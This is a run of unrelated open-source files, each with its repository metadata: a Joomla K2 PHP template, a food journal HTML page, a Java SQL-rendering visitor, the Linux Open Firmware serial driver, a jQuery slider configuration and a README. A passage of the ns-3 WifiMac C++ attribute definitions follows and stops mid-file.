title="<?php if(!empty($item->image_caption)) echo K2HelperUtilities::cleanHtml($item->image_caption); else echo K2HelperUtilities::cleanHtml($item->title); ?>"> <img src="<?php echo $item->imageGeneric; ?>" alt="<?php if(!empty($item->image_caption)) echo K2HelperUtilities::cleanHtml($item->image_caption); else echo K2HelperUtilities::cleanHtml($item->title); ?>" style="width:<?php echo $item->params->get('itemImageGeneric'); ?>px; height:auto;" /> </a> </span> <div class="clr"></div> </div> <?php endif; ?> <!-- Item introtext --> <?php if($item->params->get('userItemIntroText')): ?> <div class="userItemIntroText"> <?php echo $item->introtext; ?> </div> <?php endif; ?> <div class="clr"></div> <!-- Plugins: AfterDisplayContent --> <?php echo $item->event->AfterDisplayContent; ?> <!-- K2 Plugins: K2AfterDisplayContent --> <?php echo $item->event->K2AfterDisplayContent; ?> <div class="clr"></div> </div> <?php if($item->params->get('userItemCategory') || $item->params->get('userItemTags')): ?> <div class="userItemLinks"> <?php if($item->params->get('userItemCategory')): ?> <!-- Item category name --> <div class="userItemCategory"> <span><?php echo JText::_('K2_PUBLISHED_IN'); ?></span> <a href="<?php echo $item->category->link; ?>"><?php echo $item->category->name; ?></a> </div> <?php endif; ?> <?php if($item->params->get('userItemTags') && count($item->tags)): ?> <!-- Item tags --> <div class="userItemTagsBlock"> <span><?php echo JText::_('K2_TAGGED_UNDER'); ?></span> <ul class="userItemTags"> <?php foreach ($item->tags as $tag): ?> <li><a href="<?php echo $tag->link; ?>"><?php echo $tag->name; ?></a></li> <?php endforeach; ?> </ul> <div class="clr"></div> </div> <?php endif; ?> <div class="clr"></div> </div> <?php endif; ?> <div class="clr"></div> <?php if($item->params->get('userItemCommentsAnchor') && ( ($item->params->get('comments') == '2' && !$this->user->guest) || ($item->params->get('comments') == '1')) ): ?> <!-- Anchor link to comments below --> <div class="userItemCommentsLink"> <?php if(!empty($item->event->K2CommentsCounter)): ?> <!-- K2 Plugins: K2CommentsCounter --> <?php echo $item->event->K2CommentsCounter; ?> <?php else: ?> <?php if($item->numOfComments > 0): ?> <a href="<?php echo $item->link; ?>#itemCommentsAnchor"> <?php echo $item->numOfComments; ?> <?php echo ($item->numOfComments>1) ? JText::_('K2_COMMENTS') : JText::_('K2_COMMENT'); ?> </a> <?php else: ?> <a href="<?php echo $item->link; ?>#itemCommentsAnchor"> <?php echo JText::_('K2_BE_THE_FIRST_TO_COMMENT'); ?> </a> <?php endif; ?> <?php endif; ?> </div> <?php endif; ?> <?php if ($item->params->get('userItemReadMore')): ?> <!-- Item "read more..." link --> <div class="userItemReadMore"> <a class="k2ReadMore" href="<?php echo $item->link; ?>"> <?php echo JText::_('K2_READ_MORE_THEME'); ?> </a> </div> <?php endif; ?> <div class="clr"></div> <!-- Plugins: AfterDisplay --> <?php echo $item->event->AfterDisplay; ?> <!-- K2 Plugins: K2AfterDisplay --> <?php echo $item->event->K2AfterDisplay; ?> <div class="clr"></div> </div> <!-- End K2 Item Layout --> <?php endforeach; ?> </div> <!-- Pagination --> <?php if(count($this->pagination->getPagesLinks())): ?> <div class="k2Pagination"> <?php echo $this->pagination->getPagesLinks(); ?> <div class="clr"></div> <p class="pagination-results"><?php echo $this->pagination->getPagesCounter(); ?></p> </div> <?php endif; ?> <?php endif; ?> </div> <!-- End K2 User Layout -->
redsoft-pro/sewing-catalog
templates/theme1123/html/com_k2/default/user.php
PHP
gpl-2.0
9,964
<section class="my-page ui container"> <div class="home-page ui text container"> <h1 class="ui header">Food Journal App</h1> <h2>Eat whatever you want when you want to.</h2> <div class="ui huge buttons"> <a href="/createFoodItem" class="ui primary button">New Food Item</a> <div class="or"></div> <a href="/createJournalEntry" class="ui primary button">New Journal Entry</a> </div> </div> </section>
HansieSch/FoodJournal
public/app/views/pages/home.html
HTML
gpl-2.0
495
package com.code.aon.ql.ast.sql; import java.io.IOException; import java.io.Writer; import java.util.Iterator; import java.util.logging.Logger; import com.code.aon.ql.Criteria; import com.code.aon.ql.Order; import com.code.aon.ql.OrderByList; import com.code.aon.ql.Projection; import com.code.aon.ql.ProjectionList; import com.code.aon.ql.ast.BetweenExpression; import com.code.aon.ql.ast.ConstantExpression; import com.code.aon.ql.ast.CriterionVisitor; import com.code.aon.ql.ast.IdentExpression; import com.code.aon.ql.ast.LogicalAndExpression; import com.code.aon.ql.ast.LogicalOrExpression; import com.code.aon.ql.ast.NotNullExpression; import com.code.aon.ql.ast.NullExpression; import com.code.aon.ql.ast.RelationalExpression; /** * Visitante de expresiones destinado a obtener una clausa WHERE de una * sentencia SQL. * * @author Consulting & Development. Raúl Trepiana - 19-nov-2003 * @since 1.0 * */ public class SqlRenderer implements CriterionVisitor { /** * SQL ORDER BY. */ private static final String ORDER_BY = " ORDER BY "; /** * SQL DESC. */ private static final String DESC = " DESC"; /** * Obtains a suitable <code>Logger</code>. */ private static Logger LOGGER = Logger.getLogger(SqlRenderer.class.getName()); /** * Where the result will be printed. */ private Writer out; /** * Constructor giving a Writer where the result will be printed. * * @param out * A Writer where the result will be printed. */ public SqlRenderer(Writer out) { this.out = out; } /* * (non-Javadoc) * * @see com.code.aon.ql.ast.CriterionVisitor#visitCriteria(com.code.aon.ql.Criteria) */ public void visitCriteria(Criteria criteria) { if (criteria.getExpression() != null) { criteria.getExpression().accept(this); } if (criteria.getOrderByList() != null) { criteria.getOrderByList().accept(this); } } public void visitProjection(Projection projection) { throw new UnsupportedOperationException( "Projection not supported" ); } public void visitProjectionList(ProjectionList projectionList) { throw new UnsupportedOperationException( "Projection not supported" ); } /* * (non-Javadoc) * * @see com.code.aon.ql.ast.CriterionVisitor#visitOrderByList(com.code.aon.ql.OrderByList) */ public void visitOrderByList(OrderByList orderByList) { write(ORDER_BY); Iterator i = orderByList.getOrders().iterator(); while (i.hasNext()) { Order order = (Order) i.next(); order.accept(this); if (i.hasNext()) { write(", "); } } } /* * (non-Javadoc) * * @see com.code.aon.ql.ast.CriterionVisitor#visitOrder(com.code.aon.ql.Order) */ public void visitOrder(Order order) { order.getExpression().accept(this); if (!order.isAscending()) { write(DESC); } } /* * (non-Javadoc) * * @see com.code.aon.ql.ast.CriterionVisitor#visitLogicalOrExpression(com.code.aon.ql.ast.LogicalOrExpression) */ public void visitLogicalOrExpression(LogicalOrExpression expression) { write("( "); expression.getLeftExpression().accept(this); write(" or "); expression.getRightExpression().accept(this); write(" )"); } /* * (non-Javadoc) * * @see com.code.aon.ql.ast.CriterionVisitor#visitLogicalAndExpression(com.code.aon.ql.ast.LogicalAndExpression) */ public void visitLogicalAndExpression(LogicalAndExpression expression) { // write( " "); expression.getLeftExpression().accept(this); write(" and "); expression.getRightExpression().accept(this); // write( " "); } /* * (non-Javadoc) * * @see com.code.aon.ql.ast.CriterionVisitor#visitNullExpression(com.code.aon.ql.ast.NullExpression) */ public void visitNullExpression(NullExpression expression) { expression.getExpression().accept(this); write(" is null "); } /* * (non-Javadoc) * * @see com.code.aon.ql.ast.CriterionVisitor#visitNotNullExpression(com.code.aon.ql.ast.NotNullExpression) */ public void visitNotNullExpression(NotNullExpression expression) { expression.getExpression().accept(this); write(" is not null "); } /* * (non-Javadoc) * * @see com.code.aon.ql.ast.CriterionVisitor#visitIdentExpression(com.code.aon.ql.ast.IdentExpression) */ public void visitIdentExpression(IdentExpression expression) { write(expression.getName()); } /* * (non-Javadoc) * * @see com.code.aon.ql.ast.CriterionVisitor#visitConstantExpression(com.code.aon.ql.ast.ConstantExpression) */ public void visitConstantExpression(ConstantExpression expression) { write("\'" + expression.getData() + "\'"); //$NON-NLS-2$ } /* * (non-Javadoc) * * @see com.code.aon.ql.ast.CriterionVisitor#visitBetweenExpression(com.code.aon.ql.ast.BetweenExpression) */ public void visitBetweenExpression(BetweenExpression expression) { expression.getLeftExpression().accept(this); write(" between "); expression.getMinorExpression().accept(this); write(" and "); expression.getMajorExpression().accept(this); write(" "); } /* * (non-Javadoc) * * @see com.code.aon.ql.ast.CriterionVisitor#visitRelationalExpression(com.code.aon.ql.ast.RelationalExpression) */ public void visitRelationalExpression(RelationalExpression expression) { expression.getLeftExpression().accept(this); int type = expression.getType(); if ((type & RelationalExpression.LT) > 0) { write(" < "); } else if ((type & RelationalExpression.GT) > 0) { write(" > "); } else if ((type & RelationalExpression.EQ) > 0) { write(" = "); } else if ((type & RelationalExpression.NEQ) > 0) { write(" <> "); } else if ((type & RelationalExpression.LIKE) > 0) { write(" LIKE "); } else if ((type & RelationalExpression.GTE) > 0) { write(" >= "); } else if ((type & RelationalExpression.LTE) > 0) { write(" <= "); } expression.getRightExpression().accept(this); } /** * @param str */ private void write(String str) { try { out.write(str); } catch (IOException e) { LOGGER.severe(e.getMessage()); } } }
Esleelkartea/aon-employee
aonemployee_v2.3.0_src/paquetes descomprimidos/aon.ql-1.9.15-sources/com/code/aon/ql/ast/sql/SqlRenderer.java
Java
gpl-2.0
6,238
/* * Serial Port driver for Open Firmware platform devices * * Copyright (C) 2006 Arnd Bergmann <arnd@arndb.de>, IBM Corp. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. * */ #include <linux/module.h> #include <linux/slab.h> #include <linux/delay.h> #include <linux/serial_core.h> #include <linux/serial_reg.h> #include <linux/of_address.h> #include <linux/of_irq.h> #include <linux/of_platform.h> #include <linux/nwpserial.h> #include <linux/clk.h> #include "8250/8250.h" struct of_serial_info { struct clk *clk; int type; int line; }; #ifdef CONFIG_ARCH_TEGRA void tegra_serial_handle_break(struct uart_port *p) { unsigned int status, tmout = 10000; do { status = p->serial_in(p, UART_LSR); if (status & (UART_LSR_FIFOE | UART_LSR_BRK_ERROR_BITS)) status = p->serial_in(p, UART_RX); else break; if (--tmout == 0) break; udelay(1); } while (1); } #else static inline void tegra_serial_handle_break(struct uart_port *port) { } #endif /* * Fill a struct uart_port for a given device node */ static int of_platform_serial_setup(struct platform_device *ofdev, int type, struct uart_port *port, struct of_serial_info *info) { struct resource resource; struct device_node *np = ofdev->dev.of_node; u32 clk, spd, prop; int ret; memset(port, 0, sizeof *port); if (of_property_read_u32(np, "clock-frequency", &clk)) { /* Get clk rate through clk driver if present */ info->clk = clk_get(&ofdev->dev, NULL); if (IS_ERR(info->clk)) { dev_warn(&ofdev->dev, "clk or clock-frequency not defined\n"); return PTR_ERR(info->clk); } clk_prepare_enable(info->clk); clk = clk_get_rate(info->clk); } /* If current-speed was set, then try not to change it. */ if (of_property_read_u32(np, "current-speed", &spd) == 0) port->custom_divisor = clk / (16 * spd); ret = of_address_to_resource(np, 0, &resource); if (ret) { dev_warn(&ofdev->dev, "invalid address\n"); goto out; } spin_lock_init(&port->lock); port->mapbase = resource.start; /* Check for shifted address mapping */ if (of_property_read_u32(np, "reg-offset", &prop) == 0) port->mapbase += prop; /* Check for registers offset within the devices address range */ if (of_property_read_u32(np, "reg-shift", &prop) == 0) port->regshift = prop; /* Check for fifo size */ if (of_property_read_u32(np, "fifo-size", &prop) == 0) port->fifosize = prop; port->irq = irq_of_parse_and_map(np, 0); if (of_device_is_compatible(np, "ralink,rt2880-uart")) port->iotype = UPIO_AU; else port->iotype = UPIO_MEM; if (of_property_read_u32(np, "reg-io-width", &prop) == 0) { switch (prop) { case 1: port->iotype = UPIO_MEM; break; case 4: port->iotype = UPIO_MEM32; break; default: dev_warn(&ofdev->dev, "unsupported reg-io-width (%d)\n", prop); ret = -EINVAL; goto out; } } port->type = type; port->uartclk = clk; port->flags = UPF_SHARE_IRQ | UPF_BOOT_AUTOCONF | UPF_IOREMAP | UPF_FIXED_PORT | UPF_FIXED_TYPE; if (of_find_property(np, "no-loopback-test", NULL)) port->flags |= UPF_SKIP_TEST; port->dev = &ofdev->dev; if (type == PORT_TEGRA) port->handle_break = tegra_serial_handle_break; return 0; out: if (info->clk) clk_disable_unprepare(info->clk); return ret; } /* * Try to register a serial port */ static struct of_device_id of_platform_serial_table[]; static int of_platform_serial_probe(struct platform_device *ofdev) { const struct of_device_id *match; struct of_serial_info *info; struct uart_port port; int port_type; int ret; match = of_match_device(of_platform_serial_table, &ofdev->dev); if (!match) return -EINVAL; if (of_find_property(ofdev->dev.of_node, "used-by-rtas", NULL)) return -EBUSY; info = kzalloc(sizeof(*info), GFP_KERNEL); if (info == NULL) return -ENOMEM; port_type = (unsigned long)match->data; ret = of_platform_serial_setup(ofdev, port_type, &port, info); if (ret) goto out; switch (port_type) { #ifdef CONFIG_SERIAL_8250 case PORT_8250 ... PORT_MAX_8250: { struct uart_8250_port port8250; memset(&port8250, 0, sizeof(port8250)); port.type = port_type; port8250.port = port; if (port.fifosize) port8250.capabilities = UART_CAP_FIFO; if (of_property_read_bool(ofdev->dev.of_node, "auto-flow-control")) port8250.capabilities |= UART_CAP_AFE; ret = serial8250_register_8250_port(&port8250); break; } #endif #ifdef CONFIG_SERIAL_OF_PLATFORM_NWPSERIAL case PORT_NWPSERIAL: ret = nwpserial_register_port(&port); break; #endif default: /* need to add code for these */ case PORT_UNKNOWN: dev_info(&ofdev->dev, "Unknown serial port found, ignored\n"); ret = -ENODEV; break; } if (ret < 0) goto out; info->type = port_type; info->line = ret; platform_set_drvdata(ofdev, info); return 0; out: kfree(info); irq_dispose_mapping(port.irq); return ret; } /* * Release a line */ static int of_platform_serial_remove(struct platform_device *ofdev) { struct of_serial_info *info = platform_get_drvdata(ofdev); switch (info->type) { #ifdef CONFIG_SERIAL_8250 case PORT_8250 ... PORT_MAX_8250: serial8250_unregister_port(info->line); break; #endif #ifdef CONFIG_SERIAL_OF_PLATFORM_NWPSERIAL case PORT_NWPSERIAL: nwpserial_unregister_port(info->line); break; #endif default: /* need to add code for these */ break; } if (info->clk) clk_disable_unprepare(info->clk); kfree(info); return 0; } /* * A few common types, add more as needed. */ static struct of_device_id of_platform_serial_table[] = { { .compatible = "ns8250", .data = (void *)PORT_8250, }, { .compatible = "ns16450", .data = (void *)PORT_16450, }, { .compatible = "ns16550a", .data = (void *)PORT_16550A, }, { .compatible = "ns16550", .data = (void *)PORT_16550, }, { .compatible = "ns16750", .data = (void *)PORT_16750, }, { .compatible = "ns16850", .data = (void *)PORT_16850, }, { .compatible = "nvidia,tegra20-uart", .data = (void *)PORT_TEGRA, }, { .compatible = "nxp,lpc3220-uart", .data = (void *)PORT_LPC3220, }, { .compatible = "altr,16550-FIFO32", .data = (void *)PORT_ALTR_16550_F32, }, { .compatible = "altr,16550-FIFO64", .data = (void *)PORT_ALTR_16550_F64, }, { .compatible = "altr,16550-FIFO128", .data = (void *)PORT_ALTR_16550_F128, }, #ifdef CONFIG_SERIAL_OF_PLATFORM_NWPSERIAL { .compatible = "ibm,qpace-nwp-serial", .data = (void *)PORT_NWPSERIAL, }, #endif { /* end of list */ }, }; static struct platform_driver of_platform_serial_driver = { .driver = { .name = "of_serial", .owner = THIS_MODULE, .of_match_table = of_platform_serial_table, }, .probe = of_platform_serial_probe, .remove = of_platform_serial_remove, }; module_platform_driver(of_platform_serial_driver); MODULE_AUTHOR("Arnd Bergmann <arnd@arndb.de>"); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Serial Port driver for Open Firmware platform devices");
male-puppies/linux-3.18.pps
drivers/tty/serial/of_serial.c
C
gpl-2.0
7,087
jQuery( document ).ready( function() { jQuery( '#lightslider' ).lightSlider({ item: 1, autoWidth: false, slideMove: 1, // slidemove will be 1 if loop is true slideMargin: 10, addClass: '', mode: "slide", useCSS: true, cssEasing: 'ease', //'cubic-bezier(0.25, 0, 0.25, 1)',// easing: 'linear', //'for jquery animation',//// speed: 400, //ms' auto: true, loop: true, slideEndAnimation: true, pause: 5000, keyPress: false, controls: true, prevHtml: '<span class="dashicons dashicons-arrow-left-alt2">', nextHtml: '<span class="dashicons dashicons-arrow-right-alt2">', rtl:false, adaptiveHeight:false, vertical:false, verticalHeight:500, vThumbWidth:100, thumbItem:10, pager: true, gallery: false, galleryMargin: 5, thumbMargin: 5, currentPagerPosition: 'middle', enableTouch:true, enableDrag:true, freeMove:true, swipeThreshold: 40, responsive : [], onBeforeStart: function (el) {}, onSliderLoad: function (el) {}, onBeforeSlide: function (el) {}, onAfterSlide: function (el) {}, onBeforeNextSlide: function (el) {}, onBeforePrevSlide: function (el) {} }); });
yikesinc/yikes-inc-easy-custom-woocommerce-product-tabs
js/premium.js
JavaScript
gpl-2.0
1,148
FTC_TP2_MaquinaDeEstados ======================== Implementação em Java de um interpretador de máquinas de estados finitas utilzando arquivos XML como entrada
DanielKneipp/FTC_TP2_MaquinaDeEstados
README.md
Markdown
gpl-2.0
163
/* -*- Mode:C++; c-file-style:"gnu"; indent-tabs-mode:nil; -*- */ /* * Copyright (c) 2008 INRIA * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation; * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Author: Mathieu Lacage <mathieu.lacage@sophia.inria.fr> */ #include "ns3/log.h" #include "ns3/pointer.h" #include "ns3/packet.h" #include "wifi-mac.h" #include "qos-txop.h" #include "ssid.h" #include "mgt-headers.h" #include "wifi-net-device.h" #include "wifi-mac-queue.h" #include "mac-rx-middle.h" #include "mac-tx-middle.h" #include "channel-access-manager.h" #include "ns3/ht-configuration.h" #include "ns3/vht-configuration.h" #include "ns3/he-configuration.h" #include "ns3/he-frame-exchange-manager.h" #include "extended-capabilities.h" namespace ns3 { NS_LOG_COMPONENT_DEFINE ("WifiMac"); NS_OBJECT_ENSURE_REGISTERED (WifiMac); WifiMac::WifiMac () : m_qosSupported (false), m_erpSupported (false), m_dsssSupported (false) { NS_LOG_FUNCTION (this); m_rxMiddle = Create<MacRxMiddle> (); m_rxMiddle->SetForwardCallback (MakeCallback (&WifiMac::Receive, this)); m_txMiddle = Create<MacTxMiddle> (); m_channelAccessManager = CreateObject<ChannelAccessManager> (); } WifiMac::~WifiMac () { NS_LOG_FUNCTION (this); } TypeId WifiMac::GetTypeId (void) { static TypeId tid = TypeId ("ns3::WifiMac") .SetParent<Object> () .SetGroupName ("Wifi") .AddAttribute ("Ssid", "The ssid we want to belong to.", SsidValue (Ssid ("default")), MakeSsidAccessor (&WifiMac::GetSsid, &WifiMac::SetSsid), MakeSsidChecker ()) .AddAttribute ("QosSupported", "This Boolean attribute is set to enable 802.11e/WMM-style QoS support at this STA.", TypeId::ATTR_GET | TypeId::ATTR_CONSTRUCT, // prevent setting after construction BooleanValue (false), MakeBooleanAccessor (&WifiMac::SetQosSupported, &WifiMac::GetQosSupported), MakeBooleanChecker ()) .AddAttribute ("CtsToSelfSupported", "Use CTS to Self when using a rate that is not in the basic rate set.", BooleanValue (false), MakeBooleanAccessor (&WifiMac::SetCtsToSelfSupported), MakeBooleanChecker ()) .AddAttribute ("ShortSlotTimeSupported", "Whether or not short slot time is supported (only used by ERP APs or STAs).", BooleanValue (true), MakeBooleanAccessor (&WifiMac::SetShortSlotTimeSupported, &WifiMac::GetShortSlotTimeSupported), MakeBooleanChecker ()) .AddAttribute ("Txop", "The Txop object.", PointerValue (), MakePointerAccessor (&WifiMac::GetTxop), MakePointerChecker<Txop> ()) .AddAttribute ("VO_Txop", "Queue that manages packets belonging to AC_VO access class.", PointerValue (), MakePointerAccessor (&WifiMac::GetVOQueue), MakePointerChecker<QosTxop> ()) .AddAttribute ("VI_Txop", "Queue that manages packets belonging to AC_VI access class.", PointerValue (), MakePointerAccessor (&WifiMac::GetVIQueue), MakePointerChecker<QosTxop> ()) .AddAttribute ("BE_Txop", "Queue that manages packets belonging to AC_BE access class.", PointerValue (), MakePointerAccessor (&WifiMac::GetBEQueue), MakePointerChecker<QosTxop> ()) .AddAttribute ("BK_Txop", "Queue that manages packets belonging to AC_BK access class.", PointerValue (), MakePointerAccessor (&WifiMac::GetBKQueue), MakePointerChecker<QosTxop> ()) .AddAttribute ("VO_MaxAmsduSize", "Maximum length in bytes of an A-MSDU for AC_VO access class " "(capped to 7935 for HT PPDUs and 11398 for VHT/HE PPDUs). " "Value 0 means A-MSDU aggregation is disabled for that AC.", UintegerValue (0), MakeUintegerAccessor (&WifiMac::m_voMaxAmsduSize), MakeUintegerChecker<uint16_t> (0, 11398)) .AddAttribute ("VI_MaxAmsduSize", "Maximum length in bytes of an A-MSDU for AC_VI access class " "(capped to 7935 for HT PPDUs and 11398 for VHT/HE PPDUs). " "Value 0 means A-MSDU aggregation is disabled for that AC.", UintegerValue (0), MakeUintegerAccessor (&WifiMac::m_viMaxAmsduSize), MakeUintegerChecker<uint16_t> (0, 11398)) .AddAttribute ("BE_MaxAmsduSize", "Maximum length in bytes of an A-MSDU for AC_BE access class " "(capped to 7935 for HT PPDUs and 11398 for VHT/HE PPDUs). " "Value 0 means A-MSDU aggregation is disabled for that AC.", UintegerValue (0), MakeUintegerAccessor (&WifiMac::m_beMaxAmsduSize), MakeUintegerChecker<uint16_t> (0, 11398)) .AddAttribute ("BK_MaxAmsduSize", "Maximum length in bytes of an A-MSDU for AC_BK access class " "(capped to 7935 for HT PPDUs and 11398 for VHT/HE PPDUs). " "Value 0 means A-MSDU aggregation is disabled for that AC.", UintegerValue (0), MakeUintegerAccessor (&WifiMac::m_bkMaxAmsduSize), MakeUintegerChecker<uint16_t> (0, 11398)) .AddAttribute ("VO_MaxAmpduSize", "Maximum length in bytes of an A-MPDU for AC_VO access class " "(capped to 65535 for HT PPDUs, 1048575 for VHT PPDUs, and 6500631 for HE PPDUs). " "Value 0 means A-MPDU aggregation is disabled for that AC.", UintegerValue (0), MakeUintegerAccessor (&WifiMac::m_voMaxAmpduSize), MakeUintegerChecker<uint32_t> (0, 6500631)) .AddAttribute ("VI_MaxAmpduSize", "Maximum length in bytes of an A-MPDU for AC_VI access class " "(capped to 65535 for HT PPDUs, 1048575 for VHT PPDUs, and 6500631 for HE PPDUs). " "Value 0 means A-MPDU aggregation is disabled for that AC.", UintegerValue (65535), MakeUintegerAccessor (&WifiMac::m_viMaxAmpduSize), MakeUintegerChecker<uint32_t> (0, 6500631)) .AddAttribute ("BE_MaxAmpduSize", "Maximum length in bytes of an A-MPDU for AC_BE access class " "(capped to 65535 for HT PPDUs, 1048575 for VHT PPDUs, and 6500631 for HE PPDUs). " "Value 0 means A-MPDU aggregation is disabled for that AC.", UintegerValue (65535), MakeUintegerAccessor (&WifiMac::m_beMaxAmpduSize), MakeUintegerChecker<uint32_t> (0, 6500631)) .AddAttribute ("BK_MaxAmpduSize", "Maximum length in bytes of an A-MPDU for AC_BK access class " "(capped to 65535 for HT PPDUs, 1048575 for VHT PPDUs, and 6500631 for HE PPDUs). " "Value 0 means A-MPDU aggregation is disabled for that AC.", UintegerValue (0), MakeUintegerAccessor (&WifiMac::m_bkMaxAmpduSize), MakeUintegerChecker<uint32_t> (0, 6500631)) .AddAttribute ("VO_BlockAckThreshold", "If number of packets in VO queue reaches this value, " "block ack mechanism is used. If this value is 0, block ack is never used." "When A-MPDU is enabled, block ack mechanism is used regardless of this value.", UintegerValue (0), MakeUintegerAccessor (&WifiMac::SetVoBlockAckThreshold), MakeUintegerChecker<uint8_t> (0, 64)) .AddAttribute ("VI_BlockAckThreshold", "If number of packets in VI queue reaches this value, " "block ack mechanism is used. If this value is 0, block ack is never used." "When A-MPDU is enabled, block ack mechanism is used regardless of this value.", UintegerValue (0), MakeUintegerAccessor (&WifiMac::SetViBlockAckThreshold), MakeUintegerChecker<uint8_t> (0, 64)) .AddAttribute ("BE_BlockAckThreshold", "If number of packets in BE queue reaches this value, " "block ack mechanism is used. If this value is 0, block ack is never used." "When A-MPDU is enabled, block ack mechanism is used regardless of this value.", UintegerValue (0), MakeUintegerAccessor (&WifiMac::SetBeBlockAckThreshold), MakeUintegerChecker<uint8_t> (0, 64)) .AddAttribute ("BK_BlockAckThreshold", "If number of packets in BK queue reaches this value, " "block ack mechanism is used. If this value is 0, block ack is never used." "When A-MPDU is enabled, block ack mechanism is used regardless of this value.", UintegerValue (0), MakeUintegerAccessor (&WifiMac::SetBkBlockAckThreshold), MakeUintegerChecker<uint8_t> (0, 64)) .AddAttribute ("VO_BlockAckInactivityTimeout", "Represents max time (blocks of 1024 microseconds) allowed for block ack" "inactivity for AC_VO. If this value isn't equal to 0 a timer start after that a" "block ack setup is completed and will be reset every time that a block ack" "frame is received. If this value is 0, block ack inactivity timeout won't be used.", UintegerValue (0), MakeUintegerAccessor (&WifiMac::SetVoBlockAckInactivityTimeout), MakeUintegerChecker<uint16_t> ()) .AddAttribute ("VI_BlockAckInactivityTimeout", "Represents max time (blocks of 1024 microseconds) allowed for block ack" "inactivity for AC_VI. If this value isn't equal to 0 a timer start after that a" "block ack setup is completed and will be reset every time that a block ack" "frame is received. If this value is 0, block ack inactivity timeout won't be used.", UintegerValue (0), MakeUintegerAccessor (&WifiMac::SetViBlockAckInactivityTimeout), MakeUintegerChecker<uint16_t> ()) .AddAttribute ("BE_BlockAckInactivityTimeout", "Represents max time (blocks of 1024 microseconds) allowed for block ack" "inactivity for AC_BE. If this value isn't equal to 0 a timer start after that a" "block ack setup is completed and will be reset every time that a block ack" "frame is received. If this value is 0, block ack inactivity timeout won't be used.", UintegerValue (0), MakeUintegerAccessor (&WifiMac::SetBeBlockAckInactivityTimeout), MakeUintegerChecker<uint16_t> ()) .AddAttribute ("BK_BlockAckInactivityTimeout", "Represents max time (blocks of 1024 microseconds) allowed for block ack" "inactivity for AC_BK. If this value isn't equal to 0 a timer start after that a" "block ack setup is completed and will be reset every time that a block ack" "frame is received. If this value is 0, block ack inactivity timeout won't be used.", UintegerValue (0), MakeUintegerAccessor (&WifiMac::SetBkBlockAckInactivityTimeout), MakeUintegerChecker<uint16_t> ()) .AddTraceSource ("MacTx", "A packet has been received from higher layers and is being processed in preparation for " "queueing for transmission.", MakeTraceSourceAccessor (&WifiMac::m_macTxTrace), "ns3::Packet::TracedCallback") .AddTraceSource ("MacTxDrop", "A packet has been dropped in the MAC layer before being queued for transmission. " "This trace source is fired, e.g., when an AP's MAC receives from the upper layer " "a packet destined to a station that is not associated with the AP or a STA's MAC " "receives a packet from the upper layer while it is not associated with any AP.", MakeTraceSourceAccessor (&WifiMac::m_macTxDropTrace), "ns3::Packet::TracedCallback") .AddTraceSource ("MacPromiscRx", "A packet has been received by this device, has been passed up from the physical layer " "and is being forwarded up the local protocol stack. This is a promiscuous trace.", MakeTraceSourceAccessor (&WifiMac::m_macPromiscRxTrace), "ns3::Packet::TracedCallback") .AddTraceSource ("MacRx", "A packet has been received by this device, has been passed up from the physical layer " "and is being forwarded up the local protocol stack. This is a non-promiscuous trace.", MakeTraceSourceAccessor (&WifiMac::m_macRxTrace), "ns3::Packet::TracedCallback") .AddTraceSource ("MacRxDrop", "A packet has been dropped in the MAC layer after it has been passed up from the physical layer.", MakeTraceSourceAccessor (&WifiMac::m_macRxDropTrace), "ns3::Packet::TracedCallback") .AddTraceSource ("TxOkHeader", "The header of successfully transmitted packet.", MakeTraceSourceAccessor (&WifiMac::m_txOkCallback), "ns3::WifiMacHeader::TracedCallback", TypeId::OBSOLETE, "Use the AckedMpdu trace instead.") .AddTraceSource ("TxErrHeader", "The header of unsuccessfully transmitted packet.", MakeTraceSourceAccessor (&WifiMac::m_txErrCallback), "ns3::WifiMacHeader::TracedCallback", TypeId::OBSOLETE, "Depending on the failure type, use the NAckedMpdu trace, the " "DroppedMpdu trace or one of the traces associated with TX timeouts.") .AddTraceSource ("AckedMpdu", "An MPDU that was successfully acknowledged, via either a " "Normal Ack or a Block Ack.", MakeTraceSourceAccessor (&WifiMac::m_ackedMpduCallback), "ns3::WifiMacQueueItem::TracedCallback") .AddTraceSource ("NAckedMpdu", "An MPDU that was negatively acknowledged via a Block Ack.", MakeTraceSourceAccessor (&WifiMac::m_nackedMpduCallback), "ns3::WifiMacQueueItem::TracedCallback") .AddTraceSource ("DroppedMpdu", "An MPDU that was dropped for the given reason (see WifiMacDropReason).", MakeTraceSourceAccessor (&WifiMac::m_droppedMpduCallback), "ns3::WifiMac::DroppedMpduCallback") .AddTraceSource ("MpduResponseTimeout", "An MPDU whose response was not received before the timeout, along with " "an identifier of the type of timeout (see WifiTxTimer::Reason) and the " "TXVECTOR used to transmit the MPDU. This trace source is fired when a " "CTS is missing after an RTS or a Normal Ack is missing after an MPDU " "or after a DL MU PPDU acknowledged in SU format.", MakeTraceSourceAccessor (&WifiMac::m_mpduResponseTimeoutCallback), "ns3::WifiMac::MpduResponseTimeoutCallback") .AddTraceSource ("PsduResponseTimeout", "A PSDU whose response was not received before the timeout, along with " "an identifier of the type of timeout (see WifiTxTimer::Reason) and the " "TXVECTOR used to transmit the PSDU. This trace source is fired when a " "BlockAck is missing after an A-MPDU, a BlockAckReq (possibly in the " "context of the acknowledgment of a DL MU PPDU in SU format) or a TB PPDU " "(in the latter case the missing BlockAck is a Multi-STA BlockAck).", MakeTraceSourceAccessor (&WifiMac::m_psduResponseTimeoutCallback), "ns3::WifiMac::PsduResponseTimeoutCallback") .AddTraceSource ("PsduMapResponseTimeout", "A PSDU map for which not all the responses were received before the timeout, " "along with an identifier of the type of timeout (see WifiTxTimer::Reason), " "the set of MAC addresses of the stations that did not respond and the total " "number of stations that had to respond. This trace source is fired when not " "all the addressed stations responded to an MU-BAR Trigger frame (either sent as " "a SU frame or aggregated to PSDUs in the DL MU PPDU), a Basic Trigger Frame or " "a BSRP Trigger Frame.", MakeTraceSourceAccessor (&WifiMac::m_psduMapResponseTimeoutCallback), "ns3::WifiMac::PsduMapResponseTimeoutCallback") ; return tid; } void 